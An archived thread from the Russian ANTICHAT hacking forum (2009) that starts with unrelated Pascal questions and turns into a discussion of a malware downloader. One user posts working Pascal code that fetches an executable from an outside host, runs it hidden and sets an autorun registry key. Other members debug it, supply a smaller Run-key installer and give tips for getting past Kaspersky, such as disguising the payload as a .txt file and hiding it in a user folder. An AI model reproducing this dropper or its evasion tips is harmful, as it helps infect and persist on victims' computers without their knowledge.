ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

12.03.2009, 22:00
|
|
Новичок
Регистрация: 27.09.2007
Сообщений: 22
Провел на форуме: 10910
Репутация:
0
|
|
Кто может помочь со следующей задачей:
Найти предел функции lim y (y стремится к нулю) * ctg(y) с точностью до Е.
|
|
|

12.03.2009, 22:01
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 99
Провел на форуме: 613745
Репутация:
51
|
|
Сообщение от eLWAux
а у меня она НЕ_зарезервированная )
Омг, у меня крутой паскаль значит, ну не беда))
|
|
|

13.03.2009, 11:39
|
|
Участник форума
Регистрация: 13.11.2008
Сообщений: 131
Провел на форуме: 776255
Репутация:
52
|
|
Сообщение от Jino
Как в Паскале, вызвать такую константу, как число E?
exp(x) - Экспонента (число e в степени x)
exp(1) ~ 2.72
|
|
|

13.03.2009, 20:03
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме: 13936387
Репутация:
1844
|
|
Сообщение от lll6
У меня есть.
Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...
|
|
|

13.03.2009, 21:47
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 99
Провел на форуме: 613745
Репутация:
51
|
|
Сообщение от dinar_007
Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...
Ну вообще я просто пользуюсь PascalABC.NET, так что возможны расхождения с Pascal 7.0
|
|
|

14.03.2009, 13:12
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
На скорую руку написал простенький довнлоадер под сплоеды:
Код:
program downloader;
uses windows, Registry, urlmon;
function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;
{Точка входа}
var
Registre:TRegistry;
BEGIN
urlmon.URLDownloadToFile(nil,PChar('http://shinobi.net.ru/colorpick.exe'),PChar(sysdir+'\fiesta32.exe'),0,nil);
sleep(3000);
winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
Registre:=TRegistry.Create;
Registre.RootKey:=HKEY_LOCAL_MACHINE;
Registre.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
if Registre.ValueExists('fiesta') then Registre.DeleteValue('fiesta');
Registre.WriteString('fiesta',sysdir+'\fiesta32.exe');
Registre.Free;
END.
winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
из за этой команды не пашет скомпилированный файл (выдаётся ошибка доступа к файлу)
какие можете посоветовать альтернативы запуска файла в этой программе???
Shellexecute не пашет из за своего хендла
креатепроцесс тоже чёто не то... посоветуйте чё нить, чтобы файл нормально запустился...
|
|
|

14.03.2009, 13:58
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK
Return Values
If the function succeeds, the return value is greater than 31.
If the function fails, the return value is one of the following error values:
Value Meaning
0 The system is out of memory or resources.
ERROR_BAD_FORMAT The .EXE file is invalid (non-Win32 .EXE or error in .EXE image).
ERROR_FILE_NOT_FOUND The specified file was not found.
ERROR_PATH_NOT_FOUND The specified path was not found.
т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода
P.S. инстал в систему лучше напиши через API чтоб размер был меньше. Типа
Код:
procedure install(filename,about:string);
var
key:longword;
begin
RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
RegCloseKey(Key);
end;
Хотя еще лучше кидай файл не в Windows а в папку с шаблонами пользователя. т.к. это папка находится хз где(юзверь хрен найдет) и для неё всегда есть доступ на запись, чего не скажешь о Windows или System32
Последний раз редактировалось slesh; 14.03.2009 в 14:04..
|
|
|

14.03.2009, 14:05
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от slesh
ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK
т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода
Да сорри, забыл сказать что всё это из за касперского. Именно он блокирует данный кусок кода из за запуска файла, флаг sw_show никакой роли не играет...
|
|
|

14.03.2009, 14:12
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
1) Каспер недоверчево относится к запуску скрытых процессов. Так что SHOW / HIDE - играет роль
2) Такой вот инстал в реестр палится каспером еще с его детский времен
3) Скачать и запустить - это тоже слишком подозретильно.
По этому как вариант можно попробовать следующее
Качай файл под левым именем. типа book.txt, затем чтонить помути с ним а потом переименую как нужно и попробуй запустить.
На счет прописки в реестре - как никрути но это будет палиться проактивкой.
|
|
|

14.03.2009, 14:20
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
*CRAZY* хотя верх извращенства - запускать текстовик.
Если EXE переименовать в TXT типа c:\windows\book.txt то он всё равно запустится через winexec('c:\windows\book.txt',sw_show);
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|